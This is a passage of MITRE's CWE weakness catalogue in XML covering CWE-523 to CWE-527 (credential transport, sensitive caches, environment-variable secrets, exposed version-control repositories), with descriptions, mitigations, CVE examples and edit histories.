               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="523" Name="Unprotected Transport of Credentials" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="522" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="312" View_ID="1000"/>
         </Related_Weaknesses>
         <Background_Details>
            <Background_Detail>SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Phase>System Configuration</Phase>
               <Description>Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="102"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="524" Name="Use of Cache Containing Sensitive Information" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.</Description>
	 <Extended_Description>
	   Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations.  A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources.  If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Protect information stored in cache.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not store unnecessarily sensitive information in the cache.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider using encryption in the cache.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="204"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Caching</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Caching</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="525" Name="Use of Web Browser Cache Containing Sensitive Information" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="524" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Protect information stored in cache.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not store unnecessarily sensitive information in the cache.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider using encryption in the cache.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Broken Access Control</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="37"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Browser Caching</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Browser Caching</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="526" Name="Cleartext Storage of Sensitive Information in an Environment Variable" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses an environment variable to store unencrypted sensitive information.</Description>
         <Extended_Description>Information stored in an environment variable can be accessible by other processes with the execution context, including child processes that dependencies are executed in, or serverless functions in cloud environments. An environment variable's contents can also be inserted into messages, headers, log files, or other outputs. Often these other dependencies have no need to use the environment variable in question. A weakness that discloses environment variables could expose this information.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="312" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="214" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-43691</Reference>
               <Description>CMS shows sensitive server-side information from environment variables when run in Debug mode.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-43691</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-27195</Reference>
               <Description>Plugin for an automation server inserts environment variable contents into build XML files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-27195</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-25264</Reference>
               <Description>CI/CD tool logs environment variables related to passwords add Contribution to content history.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-25264</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-1318"/>
            <Reference External_Reference_ID="REF-1319"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Drew Buttner</Contribution_Name>
               <Contribution_Organization>MITRE</Contribution_Organization>
               <Contribution_Date>2023-01-11</Contribution_Date>
               <Contribution_Comment>Suggested improvements to name, description, relationships, and mitigations</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Environmental Variables</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Environmental Variables</Previous_Entry_Name>
			<Previous_Entry_Name Date="2023-01-31">Exposure of Sensitive Information Through Environmental Variables</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="527" Name="Exposure of Version-Control Repository to an Unauthorized Control Sphere" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.</Description>
         <Extended_Description>Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Phase>Distribution</Phase>
               <Phase>System Configuration</Phase>
               <Description>Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
